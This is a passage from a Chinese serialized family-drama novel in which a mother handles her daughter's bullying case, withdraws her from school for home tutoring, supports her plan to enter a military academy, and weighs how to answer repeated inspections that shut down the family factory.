现在还走得近的,就剩二叔一家了。堂弟和弟妹,在家务农,收入并不多。幼儿园一起建,就有岗位提供,刚好程大山都来了,程向前就想到堂弟程向宁。
陶枝预感这事不容易成,不过她才不会泼人冷水。
第二天一早,程大山开始拨电话。昨天和小卖部说清楚了,他爸他妈会在那边等着。
电话一接通:“爸妈,大伯问你们,要不要来市里工作?”
程向宁第一句话就是:“那你爷奶咋办?”
程大山愣了,他没想过这个问题。
他急中生智:“电话里说不清,要不你们来一趟,和大伯他们当面说?”
“你先问你爷奶的意思,他们答应了再来问我。”
咔哒一声,电话挂断了。程向宁还骂程大山:“白长那么大个,只会浪费电话费。
老两口早就回房了,程大山把话筒搁下,才后知后觉,他光顾着自己高兴,完全忽略了爷奶的感受。
程大山看向大伯,老头子看向陶枝,陶枝做投降状:“真是服了你们,去问二叔二婶啊。”
两人这才去敲客房的门,也不待两老有回应,直接就推门进去了。
门未关拢,隐约传来程大山的大嗓门:“奶,你哭什么呀?”
陶枝摇摇头,开门走出去,不听他们爷孙的官司。
事有凑巧,她刚在花园坐下,才沏了第一杯茶,闻煦找上门来了。
他坐下后,牛饮两杯茶,抹了抹嘴说:“阿姨,幸不辱命。”
陶枝看他的神色,静静等着他开口。
“一共四个人,都是女孩子,一个主导,两个辅助,一个被迫。”
“主导的叫郭盈,辅助的叫王雨、李慧,被迫的叫张倩倩。”
“先从这张倩倩说起吧。她是县城考进三中的。成绩一直保持得不错,就是家境比较贫困,还拿过学校的助学金。她是因为撞到郭盈,被发现她穿着破烂,人又整天低着个头,欺负她让人有成就感。正是她的逆来顺受,助长了郭盈的气焰。但后来发现她打不还手,郭盈又觉得没劲了,干脆收她做些放风、跑腿的杂事。张倩倩不敢不参加,但她也不敢欺负人。”
“接下来说说王雨。爸爸是工厂工人,长得高大又暴躁,母亲则不知去向。从小没什么人管,只要她爸不顺心,对她不是打就是骂,没给过一点好脸色。她从小就要帮家里干活,所以身体练得很结实,受她爸的影响,信奉一切用拳头说话。”
“李慧,家里是做生意的,家里也算小有资产,和郭盈父亲走得近。她和郭盈凑在一块,应该是家里的吩咐。”
“作为主导者的郭盈,其父是某处级干部,母亲在区教育局上班。但是两人工作都忙,郭盈算是保姆带大的,从小她就颐指气使。其实在她读初中时,就发生过类似的事,受害者的家长不依不挠,在那时候还闹得挺大的,但最终被郭家压了下来,连句道歉都没有,赔偿更是没得谈,发展到最后不了了之。那位同学后来转学了,家中也受了不小的影响。”
陶枝直接问:“你是想劝我息事宁人?”
闻煦抹汗:“阿姨,咱先保存实力,现在硬碰硬,不是明智之举啊。”
“小闻,她们为什么要针对程曼?”
“据调查来的信息,郭盈喜欢的男生,偷偷喜欢上了程曼。”
“就凭这虚无缥缈的猜测,她就对我女儿下死手?”
闻煦不知道该怎么安慰陶枝。
陶枝接着又问:“那小子什么反应?”
“从头到尾,事不关己的样子,没有站出来过,也没替程曼说话。”
陶枝都被气笑了:“就这孬样,他也配说喜欢?”
“小男生嘛,没经过事,就没有担当。”
现在谈论这些,没任何实际意义,陶枝打算去趟派出所。
“小闻,我出去一下,等下回来再谈。”
闻煦猜到陶枝要去哪里,正好他也想去验证下,“阿姨,我陪您去。”
陶枝想了想:“也行,那走吧。”
陶枝推开门,问值班的民警:“同志您好,前些天我报过案,是关于学生欺负人的,想问问现在有结果了吗?”
民警打开那本厚厚的记录本,翻了又翻,“噫,没看到你说的案件啊。”
陶枝和闻煦相视了一眼。
“那请问袁衡袁警官在吗?”
民警同志摇了摇头:“我们所没有叫袁衡的。”
“那林全同志呢?”
“噢林全下乡去了,他去查一个偷窃的案件。”
陶枝头一次感受到,权力的威力如此之大。
她笑着和民警道谢:“那可能是我记错了。”
陶枝麻利地转身回家去了。
她拿上程曼的病历本,还有各项检查报告,直接杀到学校,找上教导主任,说要给程曼办理因伤退学。
“哎呀程曼妈妈,这就没必要了吧,还有三个月就高考了。”
“老师,程曼现在都无法出门,万一哪天再受刺激,这伤势变重怕是人都要没了。您说说,是高考更重要,还是命更重要?”
教导主任闻言也不敢拦:“要不就办个休学?等程曼同学好转,还能回来继续上学。”
陶枝的眼泪说来就来,她不停拿手帕擦眼角,哽咽着说:“可是,程曼她都不敢来学校。”说完,她紧紧揪着自己的衣领,压低声音在呜呜呜地哭泣。
教导主任看了,心下也是不忍,他话都到嘴边了,忍了又忍,生生给咽了回去。
“程曼妈妈,你回去后告诉她,即便现在退学了,如果她愿意回来,学校的大门一直为她敞开。”
“老师,程曼还有个处分呢。”
“学校一早就撤销了,现在没有这回事了。”
“档案上也不会有?”
教导主任保证:“没有。你看老师的评语,都是往好了写的。”然后他也没有再细看,直接在退学申请上签了字。
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等一切手续办完,陶枝红肿着眼,踉踉跄跄走出校门。
教导主任站在楼上,望见她瘦弱的背影,长叹一声:“都是可怜人啊。”他仿佛已经不记得,陶枝穿成个暴发户,大摇大摆来找他的那一天。
陶枝拐了个弯,看看左右都没人,迅速上了停在那的车,闻煦俨然坐在司机位上。
她把手帕揣回怀里,用湿毛巾狠狠擦了擦脸,瓮声瓮气地问:“你这什么玩意?太辣太刺激了。”
闻煦回她:“一种提取的薄荷醇。”
“今天真多亏了你。”
“阿姨,您别这么说,我可是领了钱的。”
陶枝拍拍他,“我们先离开这里再说。”
闻煦发动车子,果断驶离此地。他边开车边说:“陶姨,接下来要怎么做?”
“我对那位袁警官印象很深刻,我猜他肯定是查到了些什么。”
“但民警同志说了,查无此人。”
“那么大一个人,说没有就没有,你信吗?”
闻煦心下一惊:“您说该不会......”
陶枝斩钉截铁:“不可能。”
“为什么?”
“又不是人命关天的事,搞这么大动作不值当。”
“您说得有道理,那最大的可能就是......”
“被调走了。”两人不约而同的,一起说出这句话。
“小闻,那这件事,就得拜托你了。”
闻煦摩拳擦掌,他满身正义地说:“陶姨,我掘地三尺,也会把人挖出来。”
陶枝不免有些担心:“但是,你今天和我去派出所了。”
闻煦嘿嘿一笑:“我也不是单枪匹马开干的。”
“总的来说,徐徐图之,安全为上。”
话说完了,陶枝强烈要求下车,闻煦只好把她半路放下。
陶枝去了商场,给家里的大小客人,分别都买了一套衣服。
主要因为天气不好,他们带来的衣服没干,眼看着就要没得换洗了。陶枝操持家里的事习惯了,总能观察到这些微小的事情。
她顺便给二叔二婶,再补充一些营养品。她直觉程大山说服不了他爷奶,想了想,她回头又买多几身衣服,还买了一些内衣袜子。柜台卖的鞋就算了,还没有自己纳的布鞋好穿。
她拖着一堆战利品回家,同时收获了惊喜和埋怨的目光。
陶枝悄悄问老头子:“你们劝得怎么样?”
程向前小小声回答:“我俩差点没被打出去。”
陶枝哼哼:“活该。”
老头子斜眼看她:“你怎么也不提醒我?”
“万一呢?”
老头子叹息:“二叔二婶死活不愿意,说人老了讲求落叶归根。”
“那堂弟还能来吗?”
“那肯定不会来,他们留在家照顾二老。”
陶枝是真的佩服:“老程家,专出大孝子。”
程向前挺骄傲:“都是老一辈的功劳。”
陶枝余光瞄到二婶,刚好这时电话响了,她故意提高声音说:“哟,肯定又是找我的。”
她脚底抹油,转身上了二楼。
34. 第 34 章
电话那头,是程星气急败坏的声音:“妈,工厂被勒令停工了。”
“因为什么?”
“说要重新查税。”
“厂里没有偷税漏税吧?”
程星很委屈:“我怎么可能做这种事?只有国家好,大家才会好,这个道理我还是懂的。”
陶枝当机立断:“那就给工人放假,等他们把帐查完。”她咬咬牙:“放带薪假。”
程星很干脆利落,立即执行下去,十分钟之后,工人们全部各回各家。
程星关水关电,从头检查一遍,确认没遗漏之后,才让赵子浩送她回去。
刚好到了晚饭时间,程星不动声色,如常和亲朋一起吃喝嬉闹。
回到房之后,才卸下伪装,整个人摔到床上,用力揉搓松一松脸皮。
程今适时在门外叫她:“妈——”打断了她的伤春悲秋。
陶枝不打扰程星的亲子时间,反正她现在也没空去过问。
因为程曼的朋友,明天就要回去了。高三能有两天假,已然是皇恩浩荡。他们把这珍贵的假期,拿来和程曼一起虚耗,陶枝感怀他们的赤子之心。
趁着大家都在楼下吃饭,陶枝和程曼详谈了一番。她把郭盈家的背景,和为什么退学而不是休学,以及家里遇到的困境,一一都讲解给程曼听。
程曼全程抿着嘴,双拳紧握,指尖发白,显然是气愤到了顶点。
陶枝轻轻给她做按摩,试图让她放松下来。“我和你说这些,不是为了让你,自责、难过、懊悔和愤怒的。如果你这样,等于是自毁长城,岂不是如了别人的意?”
程曼抬起泪眼:“可这都是因为我......”
陶枝严厉地打断她:“作恶的人都尚未认错,轮不到你来代人受过。”
她缓了和了语气:“曼曼,这件事情,谁对谁错,对目前而言,它没那么重要。特别对此刻的你来说,它不该占据你任何心神,因为还有爸爸妈妈在,我们会替你找回公道的。”
“你现在应该关注的,是即将到来的高考。要不要考,以及怎么考,你得给我个准话。”
“妈,我不是已经退学了吗?哪里还有选择的余地。”程曼满腹狐疑。
陶枝胜券在握:“我会为你去争取的。但首先,你得给我明确的答复。”
“我要上大学。”程曼斩钉截铁。
“那你是想今年考?还是养好身体,等到明年再战?”
“今年就考。我又不傻,人家越想害我,我就要爬得更高,把他们都给气死。”
“你的计划和目标呢?”
“妈,我能问问,您打算丢我到哪个学校吗?”程曼弱弱地出声。
“最方便快捷的,还是回县高中。”
“啊——”低不可闻的,她叹了口气。
“你先别着急啊,我没说要你回去上课。”
程曼咻一下抬起头,眼里闪烁着耀眼的光芒。
“当然,这是根据你的目标而定。如果你随便哪所大学都行,那你也随便复习一下就好。”
程曼不服气:“妈,您也太小看我了,我可是一直名列前茅的。”
陶枝小声嘀咕,“谁知道脑子有没有摔坏?”
程曼叉着腰,瞪着她妈,差点被气成河豚,“妈,我可都听见了。”
陶枝理直气壮:“谁让你一直瞒着我,从来不说想考哪里。”
程曼眼睛骨碌骨碌的,转了几圈后下定决心:“等同学回去了,我再告诉你。”
陶枝在心底惋惜,被程曼看出了意图,还想着借同学来敲打敲打她。
“一言为定?”
“一言为定。”程曼伸出右手,和陶枝击掌为盟。
“你自己有复习的规划吗?”
“妈,我发现啊,在家里学习,我的效率特别高,可能因为安静,无人打扰,我看课本会更专注。”
陶枝笑了,“要不说母女连心呢。我是这么想的,给你请几个家教,一对一的上课。哪一门薄弱,就专攻哪一门,反正用最短的时间,尽一切努力提高你的成绩。”
程曼一拍脑袋:“我只想到了请同学,没想到还能请老师。妈,还是您高明。”
陶枝拉着她的手,“小心你的头,再拍就真的傻了。如果你同意这个方案,那我们就要找老师了。”
“妈,我非常乐意。但是,我有一个疑问。”
“什么疑问?”
“我不去学校上课,老师不会有意见吗?”
“这是政策允许的,你不必担心这个。”
“那......”
“有话直说。”
“我同学,刘清越,她是个借读生。她在学校里,进度跟不上,而且很要命的,她高考得回原籍考。我就想,妈您既然把我弄出来了,能不能顺便也帮她一把?”程曼一口气说完,低头缩肩膀,就怕陶枝骂她。
“怎么帮?”咦,预料中的疾风暴雨没有来,程曼瞬间又开心了。
“老师教一个是教,两个也是教,让刘清悦陪着我,两个人一起复习,说不定还能查缺补漏。”
“就刘清越一个,人数有点少吧?要不也问问其他同学?”
程曼急忙摆手:“妈妈妈,这可不行,他们的成绩好,习惯了在学校,我们千万千万,不要好心办坏事。”
陶枝看她神情不像作假,这才正视刘同学的问题。
“你问过刘同学了吗?”
“我得先取得您的同意呀。”
陶枝看她满脸期盼,回想到自转学以来,这两天是她最开心的日子了。陶枝心软了:“明儿我帮你问问。”
“妈我就知道,您是天底下最好的妈妈。”程曼飞身就要去抱陶枝。
陶枝侧身避开,一把拉住了她,“你妈我一把年纪了,可禁不起你这飞扑。”
陶枝感觉这事,只是打电话,显得不太礼貌。
刚好老头子要考驾照,没有空送二叔二婶。于是第二天,陶枝跟着上了车,陪着二叔二婶,和同学们一起,包的之前那车回县城。
如果刘清越的事能谈成,陶枝正好把她给捎回来。
把大家分别送到家之后,陶枝最后才送的刘清越。她和刘家父母一打照面,就被热情地留下来吃饭。
陶枝恰到好处的夸赞,让刘妈妈对她一见如故,不多时,两人就开始姐妹相称了。
一顿饭过后,陶枝连刘家的祖宗,都摸得一清二楚了。
这个时候,她开始诉苦了,“妹妹啊,你是不知道,程曼现在连学校都不敢去了。”
刘妈妈吓一跳:“为什么啊?”
“明枪易躲,暗箭难防。这伤都还没好,就怕回去,又被人给打一顿。”
“难道警察不管吗?”
“就是查不到才可怕。”
刘妈妈也听得怕怕的,“那学习怎么办?”
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陶枝叹气:“我给她找了退休的老教师,和名牌大学的大一学生,一对一的给她辅导功课。”
刘妈妈心生羡慕:“那得花不少钱吧?”
“是啊,你说人多还划算,就教她一个,我亏都要亏死了。”
刘妈妈看看刘清越,又转头望望刘爸爸,她咬咬牙说道:“陶枝姐,请问一下,方便让我家清越,跟着程曼复习吗?学费我可能给不了,拿别的东西抵可以吗?”
陶枝拊掌一笑:“哎呀,妹妹你提醒了我,这真是个好主意,我怎么就没想到呢?她们小姐妹又要好,有清越陪着,程曼也不会孤零零都了。学费不需要,我已经付过了,不过坏人还没抓到,就怕......”
刘妈妈拍着胸脯:“陶枝姐你放心,清越会保护程曼的。是不是啊清越?”最后这一句,她是对自己女儿说的。
刘清越都看呆了,事情的走向完全出乎意料,没想到陶阿姨以退为进,让她妈自动往坑里跳。闻言她机械点头:“是啊。”
等她意识到自己说了什么,就瞧见陶阿姨促狭的眼神,脸上不由的升起两朵红晕。
不管怎么说,爸爸妈妈同意了,和陶阿姨约好明天去学校。
陶枝和校长是老相识了,她昨晚已约好时间,到点她就直奔校长室去。
她坐下,也不避讳什么,把事情全都说了,把刘清越的情况,也告诉了校长,点明了要带她去市里。
校长笑话她:“你说你,白折腾一场,最后还是在家复习。”
陶枝抚额:“吃一蛰,长一智,我真是始料未及。”
“我和你说了,一动不如一静,是你自己不听。”
“我没想到就换个环境,对程曼的影响这么大。”
“人家是,宁为鸡头不为凤尾,你可倒好,偏偏反其道而行之。程曼在这里,起码能横着走,哪有人会惹她?还霸凌呢,在我的地盘,就没这玩意儿。”校长霸气外露,一番话掷地有声。
陶枝求饶:“我错了,我真错了。你看我这不是,只能来求你了吗?”
“你放心吧,他们的手再长,也伸不到我这里。”
“还是你最让人放心。”陶枝给校长戴高帽。
“你比程曼还让人不省心。”校长瞪她,“本来高三神经就紧绷,转学听起来是简单,但是从老师到同学,她全得重新适应,这个就耗了她的时间精力。再者,陌生人想融入集体,要学习还是要社交?这是个两难的题目。也就是你,一拍脑袋,说干嘛就干嘛,也就老程随便你造。”
这话让陶枝蔫蔫的,但她一想到,程曼眼里燃烧的小火苗,又乐得笑出声:“塞翁失马,焉知非福。”
“你啊你,你就嘴硬吧。刘清越的事我没意见,你叫家长给我写免责声明。”
“噫,今天不劝我了?”
“劝你不要做好事?我才没那么傻。如果她能考上好大学,说出来我们学校也沾光。”
“你放心,就不说别人,程曼绝对能给你惊喜。”
“你不用给我画大饼,学籍我照样会保留的。”
“你别不信,我跟你说真的。”
“行行行,我拭目以待。”
陶枝带刘妈妈办好手续,当天就和刘清越回了市里。
程曼已经投入了紧张的学习当中,刘清越见状,立马跟上。
三楼成了高三备战区,其他人轻易不上去,就怕打扰了她们学习。
35. 第 35 章
陶枝本来想着,给程曼请了老师,她就能卸下重担,不必再为此事烦忧。
这是因为,在李家做客那天,从他们闲聊中得知,李家的下一代,一早就决定了,高中就送出去留美留英。这话在那一天,给了陶枝新的思路。
管她最终考得怎么样,实在不济,节衣缩食,也是能把程曼送去留学的。
所以陶枝压根不在意高考。世上不止一条路,此路不通就换一条。此处不留爷,自有留爷处,这是陶枝新学到的道理。
但是,自己的儿女还好说,现在多了一位小客人,还是程曼死拖硬拽来的,陶枝就不得不上心了。她每天都得过问,这两位祖宗的吃喝拉撒睡,反倒是把自己给困住了。
得益于程星做的报表、账簿、纳税凭证等,各项资料准备得齐全又清晰。况且板厂新成立不久,也没多少帐可查的,税务下发通知说可以复工了。
程星喜孜孜地打开门,正准备通知员工来上班,执法部门又上门了。人家可是带着证件来的,说是接到群众举报,工厂的消防不合格。
程星如临大敌,对于板厂来说,这是一项很严重的指控。如果到这个时候,还不清楚是有人恶意针对,那她这些年的饭也是白吃了。
程晖管采购和销售,所以他很少呆厂里。在厂里撑大梁的,只有程星一个,因此检查人员说什么,程星都点头称是,并且拿纸笔记下,主打一个态度端正。
程星拿上厚厚的《整改书》,转头又把大门给关上了,她感觉自己气到头顶冒烟。停工这事再来多几回,这个厂子也就不用干了,大家都回家吃土去吧。
她想不出好的应对方法,只好回家找爹娘讨主意。程向前接过《整改书》翻了翻,刚好程晙今天回来了,于是他说:“晚上我们一起开个会。”
陶枝在一旁说:“所有人都来听一下吧。”
“包括程曼?”
“包括程曼。”
程大川夫妻不算外人,陶枝把他俩也叫上了。
程星开口:“这短短的一个星期,已经被迫停工两次。第一次是税务,第二次是消防,焉知有无第三次?我们心里也很清楚,这是有人故意搞的鬼,但人家明面上师出有名,你抓不到任何把柄。如果再来一次,我们该怎么做?”
程大川说:“如果我们抢先一步,自己先把规范做好,让他们查无可查呢?”
程星摇头:“我们是人,又不是机器,难免会有纰漏的。”
程晙也说:“只有千年做贼的,没有千年防贼的。”
程晖也开口了:“检查部门来得多了,客户心里肯定有疙瘩,对工厂的长远发展不好。”
陶枝肯定他:“想法很好,就是不容易实现,我们再想想别的办法。”
程大川挠挠头,低头思索去了。
程向前猜测:“税务消防都来了,下一次,应该是抓环保问题了。”
程星大惊失色:“我完全没关注这块。”
老头子停了一瞬,接着继续分析道:“还有工商问题,用工问题,社保问题,安全问题等等。只要别人有心要找茬,怎么都能找到突破口。”
程星越听,脸色越白,到最后她话锋一转:“大川哥说得对,我们唯有自己先补漏,把方方面面都做好了,让他们无从查起,就是上上策。”
“可是爸,那停工了,订单怎么办?”程星问。
“实在不行,你外包给别的厂子,不管用什么方法,一定要如期交货,这点绝不能失信于人,不然你的厂子迟早要关门。”
“好的,我记住了。”
陶枝本来话已到嘴边,见状全都咽了回去。得,让他们自己折腾吧,没有探讨的必要了。
程星心里有数了,她拉上程晖和程晙,三个人一起商量要怎么整改。
程向前尾随陶枝进房:“老婆子,你是不是有了对策?”
陶枝笑笑:“你猜?”
“你想把工人拧成一股绳,借助本地村民的力量?”
“老头子,你料事如神啊。”陶枝毫不吝啬地夸奖道。
程向前还未来得及回应,门口传来“咚咚”的敲门声,抬头一看,是程曼依靠在门框。
“你不用复习?”陶枝问。
程曼进来坐下,面对着爹妈,一本正经的说:“爸,妈,我知道自己想考哪里了。”
“是哪一所学校?”
程曼缓缓吐出两个字:“军校。”
空气沉默了一会儿,陶枝开门见山道:“是因为最近家里这一系列事情?”
“是也不是。”
程向前急眼了:“你这孩子,家里不需要你操心,你就负责开开心心的,读自己喜欢的学校就好。”
“爸,您听我说。我回想了好几遍,如果时光能倒流,在我知道结果的前提下,我依然会做出同样的选择,这是由我的性格决定的。”
“我爱多管闲事,爱打抱不平,和老妈一个样,就是个爱操心的命。爸,妈,您们会渐渐老去,无论如何,也护不了我一辈子,在这个前提下,我希望拥有自保的能力。”
程曼看着父母殷切的眼神,两个人的头上,突然多出来的几缕白发,岁月不曾打过招呼,就已刻下了痕迹。她忽然悲从中来,泪眼滂沱哽咽道:“还有,我不希望,看到您们一直为我们操心......”
陶枝侧眼一看,老头子偷偷地在抹眼泪了。
她扯了纸巾给这两位,静静等着他俩发泄完。陶枝虽然也感动,但不至于涕泪横流。
她拍了拍程曼,“你看你,把你爸吓成什么样。”
程曼搭着老头子的肩,“爸,您想想,如果我当了军官,一能为国家效劳,二可以保护家人,说不定连人生大事,都不需要我自己操心。一举多得,很划算呀。”
“可是,上了军校,要见面就难了呀。”
陶枝翻了个白眼:“军校又不是菜市场,想进就能进。那录取分数多高呀,你女儿考不考得上还两说呢。”
程向前拼命拉她:“你就别激将她了,万一女儿就考上了呢?”
“真能考上,那光宗耀祖的事,我肯定不拦她呀。”
“妈,这可是您说的?”
“我说到做到。”
“那爸呢?”
“你爸跟我过,又不是跟你过。”
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程曼分别给爸妈,各飞了一个吻,“谢谢妈,也谢谢爸。”说完蹦蹦跳跳上三楼去了。
程向前一脸不开心,看都不看陶枝一眼。
“诶。”陶枝用手撞撞他。
程向前往另一边挪。
陶枝跟着挪,“程哥,你听我说。”
程向前眼睛还是红红的,“陶枝,那是女儿,不是儿子,麻烦你搞搞清楚。”
陶枝被他的大嗓门吓到,赶紧起来去把房门关上。
她坐下,也不说话,就安静陪着他。
程向前等了半天,见陶枝还不吱声,故生气地问道:“你不是有话要说?”
陶枝轻柔地开口:“程哥,曼曼说得对,我们的体力,确实在走下坡路,这点你不能否认吧?”
程向前迟疑了一下,最终还是点了点头。
“我一直没和你说,上次在巷子里,我看到曼曼躺在地上,生死不知的时候,我那一刻心都碎了。我恨自己的粗心大意,恨不得当场以身代她,恨为什么受伤的不是我而是她......”陶枝话音未落,就有晶莹砸到桌面上,泛起一圈又一圈的涟漪。
程向前心下大恸,将陶枝拥进怀中,一下一下轻拍她安抚她。
陶枝没说出口的是,她在望乡台前,见过同样的情形,只不过那次是被男人所害。陶枝总觉得,自家的这几个孩子,很像后世说的恋爱脑,也不知道怎么学的坏毛病。如果再来一次,陶枝自问是受不住的,她怕自己忍不住要动杀心。
既然如此,与其让程曼,在男人身上浪费时间精力,还不如把余生都上交给国家。
对比生命来说,少见个几面,又算得了什么?哪个儿女长大了不离巢?忙起来还不是一年到头只见一两面。
陶枝越想越觉得这个主意好,巴不得马上就到天亮,她好去寺庙求神拜佛,保佑程曼这次一定要高中。
在眼泪的攻势下,程向前高举白旗。正如陶枝所说,以后是两老相伴,儿女自有他们的天地,又不能拴上一辈子,倒不如早早就放他们去飞。
他一旦想通之后,脑筋倒是快速转动了。
“那你刚才的设想可以实现了,既解放了程星的劳累,同时把我们的面貌洗刷一遍,又能给程曼增加不小的砝码。”
陶枝还想再夸一遍,老头子的脑子就是好使。
“事不宜迟,现在就去和孩子们沟通吧。”
他们出门去寻人,屋子里没找着,绕了一圈后,发现他们仨在花园里喂蚊子。
“你们没被叮吗?”陶枝问。
程晙伸直手臂给她看,上面已经明显好几个包了。
“那你们不进屋,在这坐着好玩?”
“大哥说,怕吵到你们。”程晙特别委屈。
陶枝一脸无语:“书房我做了隔音的。”
程晙立马蹿起来,一路跑回房子里。陶枝在他背后喊:“待会来书房。”他摇了摇手,表示收到了。
“你们俩也是,先去洗个澡,然后来书房开会。”
程星站起来:“刚好我们有个对策,等下和您商量一下。”
“没问题。”
36. 第 36 章
程晙先进的书房,他一来就挨着老妈坐下。
“妈,等下您别听他们的,想的尽是些坏主意。”
陶枝微微抬眸:“听你这意思,你有不同的意见?”
程晙凑近身来,压低声音说:“我可以找合伙人帮忙。”
“怎么帮?”
“他爸是这个。”程晙竖起大拇指。
陶枝斜他一眼:“这么大个人情,你拿什么来还?”
程晙嘟囔道:“大姑家不肯帮忙,难道是担心我们还不起这个人情?”
“那是李家,不是你大姑家。帮不帮,那是人家的事,我们不去编排别人。”
程晙发了狠:“大不了,我把股份让给小伙伴。”
陶枝给他一个爆栗:“你脑子进水了?”
程晙揉揉脑袋,“妈,我和您说,这破砖厂,老是收不回钱,光投资没回报,我都不想干了。”
陶枝的脑海中,忽如闪电划过,她骤然记起,程晙是如何发家的了。
她感到一阵战栗,那是兴奋所引起的。她抓着程晙问:“那客户没钱,有没有给抵押?”
程晙瞳孔地震:“老妈,你真神了,你能掐会算啊?你什么时候学的?我居然不知道。”
“我没学过。”陶枝嫌弃地推开他。
程晙做好,老实回答:“给了两块s市的地皮。”
陶枝倒吸一口冷气:“怎么是两块?”
程晙狐疑:“我和小伙伴,两个人,一块地不好分。”
陶枝按下满腔的激动,她深呼吸几次,让心情慢慢平复下来。
她和程晙说:“别放弃,好好干,说不定哪天,我和你爸就去投奔你。”
程晙才不信她:“妈,我那里可是山沟沟。”
“我说的是s市。”
程晙一直看着陶枝,一听闻这话,眼睛瞬间亮了起来:“妈,您有什么内幕?”
“没有,我就是单纯喜欢近海。”
程晙还想追问,程星和程晖进来了。
程星一见到他:“跑得这么快,来跟老妈告状?”
程晙很不屑:“又不是三岁。”他转头就跟陶枝说:“妈你管管她,刚才她死命掐我,我这大腿都青了,她都没和我道歉。”
“你们出去打一架,谁赢了就听谁的。”
程晙悻悻地坐下,“偏心鬼,我又不是欠收拾。”
陶枝看人齐了,直截了当地说:“程曼打算报考军校。”
程星蹭地站起来,“军校?”
程晙也不相信:“妈您听错了吧?程星还有可能,程曼她就吃不了这个苦。”
陶枝瞥他一眼:“程曼小的时候,每天都陪我锻炼,一天都没落下过。”
“她才坚持了一年不到。”
“你连一星期都做不到。”
程晙哑口无言,他换了种说法:“妈,军校很辛苦的,您和爸舍得吗?”
“不舍得,但是我放心。”
很好,很强大,程晙无力反驳。
“我主要讲三件事。第一,既然程曼已经决定了,那我们就尊重她。众所周知,考军校,除了看成绩,看体能,还有一项是政审。所以,这段时间,大家都小心做人,千万千万别踩红线。即便我们帮不上忙,但也绝对不能拖后腿。最重要的一点,在程曼考上之前,谁都别走漏了风声。”
“第二,程星程晖,你们做事我放心。但是板厂就在那里,如果别人诚心要搞事,我就怕你们被人给阴了。如果这种事再来一次,我和你爸的意见是:一是把工厂卖了,二是把厂子捐了。”
“第三件事,程晙你把s市的地卖给我。”
陶枝扔下一枚炸弹,把三个子女都惊到了。
程晙先发问:“妈,您又要搬家?”
“我是有这个打算。”此处不留爷,自有留爷处,这是陶枝新学到的道理。
接着是程星:“妈,那工人们怎么办?”
“我以为你会想保留工厂。”
“这是程晖的执念,不是我的。程曼都要离家了,往后您去哪我去哪。”
陶枝看向大儿子。
程晖挠挠头:“你们都走了,我也不想留下,这里又没有家。”
陶枝说:“一家人同进退当然好。但是你们看,搬到市里之前,我以为从人情和经济,都能给你们带来助益,结果我是大错特错。你们也长大了,肯定有自己的想法,我们做父母的,少给点意见,多给些支持,你们过得开心最重要。”
程晙很快转过弯来:“那我再去弄多一块地皮。”
程星也反应过来:“妈,那我也去s市,重新开个工厂?”
“你想把工人都带过去?”陶枝问。
程星点了点头:“毕竟有一部分是老乡。”
“村民肯定不会跟你走,老乡的工作也不难解决。我建议你从自己出发,认真考虑你最想做什么,再来谈要不要办厂的问题。”
程星听进去了。
“都去睡觉吧。事情没处理好,想走也走不了。”
第二天,老头子起来就说:“我去东山村走一趟。”
“是关于幼儿园的事吗?”
程向前颔首,“说不定人家正等着我过去呢。”
陶枝想了想说:“你觉得,工厂交给村里承包,如何?”
程向前很惊喜:“妙,妙极了,这是一步好棋。我去和周村长说,你等我好消息。”
陶枝没有等太久,闻煦的电话先来了,他约在了一家小饭馆。
陶枝拿着地图,左转右绕的,好不容易才找到这小门脸的店。
闻煦坐在角落里,旁边是一扇屏风。陶枝落座,才发现还有一个人,她定睛一看,“袁警官。”
闻煦“嘘”了一声。
陶枝压低声音:“怎么了?”
“袁警官是悄悄来的。”
陶枝比了个OK,“那这里方便谈事吗?”
“这里离我工作室很近,吃完饭我带你们过去。”
陶枝秒懂,他俩饿了。她痛快地点了菜,并且顺手把单买了。
到了工作室,陶枝才问:“怎么一回事?”
袁警官自己回答:“我被调回市局了,看起来是高升了,却因为初来乍到,变成了边缘人物。”
“哦,明升暗贬,怎么个边缘法?”
“暂时我碰不到案件了。”
“因为什么呀?”
袁衡从自己的包里,掏出一份纸质文件,“我拿到了一些关键的证据。”
陶枝接过来,是一张照片。上面清晰可见,有一人扭着程曼,三人正在围堵她。她问:“这是在学校,还是在外面?”
“在学校的后山。这次要感谢程曼
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同学,是她说一楼可以看到外面,我们才能抢先一步拿到证据。”
陶枝失望地交还相片,“没有用了,程曼已经退学了。”
袁衡笑了:“那就更有用了,都把人逼退学了,媒体一定会感兴趣。要知道,这可是独一份,别人手里可没有。”
“那我能做些什么?”
“继续演担惊受怕,让他们放松警惕,很快就有下一个受害者出现了。”
陶枝心下不忍,“我们会不会害了人家?”
“放心,我们会安排人保护她的。只要能抓到现行,这四个人铁定要进去。”
“那事发当天,那些周边的邻居?”
袁警官摇摇头,“我怀疑他们早就被收买了。”
“没事,我有得是耐心。但是袁警官,一旦被察觉,我怕你这身衣服......”
“上一位受害者,是我家的亲戚。”
“啊~”陶枝不知怎么安慰他。
“没事,她已经走出来了,现在别的城市上重点,成绩也是一等一的好。”袁衡露出欣慰的笑容。
话虽如此,但就像她自己,没有一个家长会轻易过去的。
“或许,我们可以找些黑料,交到他对家的手里。”
闻煦说:“这事交给我。”
陶枝强调:“还是那句话,明哲保身,安全最重要。”
进展不大,警官都搭进去了,陶枝的心情不太美妙。不过她也知道,这事不能急,一急就容易出错,而此时是半分都错不得。
她强迫自己冷静下来,螳螂捕蝉,黄雀在后,她得时刻保持着耐心和韧性。
回到家,程向前在等着她:“下次出去说一声,免得家里人担心。”
“对不起,下次我一定记得。”
“有一个好消息,一个坏消息,你要先听哪个?”
“好消息。”
“好消息就是,周村长同意承包工厂。”
“费用怎么算?”
“按利润分成。”
陶枝点头:“周村长是个厚道人。那坏消息呢?”
“我答应了周村长,把幼儿园捐给村里。”
“我们本来就是要捐的啊。”
“但是周村长不知道啊。”
陶枝笑了:“你呀你,以退为进,学得倒是精乖。”
“其实还有一个事。”
“什么事?”
“噔噔噔噔,我拿到驾照了。”他递过来一个小本子。
陶枝翻开,上书着“程向前”三个大字,她哼一声:“明天我就去上课。”
“房子装修你不管了?”
“不想管,这次就看施工方的良心了。”
“也行,那我就陪你去练车。”
陶枝一激灵:“不对啊,机械厂你不管了?”
“我重金请了经理回来的。”
“那你也要不时回去晃一下啊。”
程向前头疼:“你这是用完了,就开始赶我走?”
陶枝义正言辞:“家里处处都要钱,你看不到吗?我们这么幸运,有个下金蛋的母鸡,那不得好好对待它呀?只有我们自己有钱,才有资格搬去s市,才能老了之后环游世界。”
打了一棒,再给根糖,陶枝玩得很溜:“你开车回去,别坐大巴了。”
又把老头子给哄高兴了。
37. 第 37 章
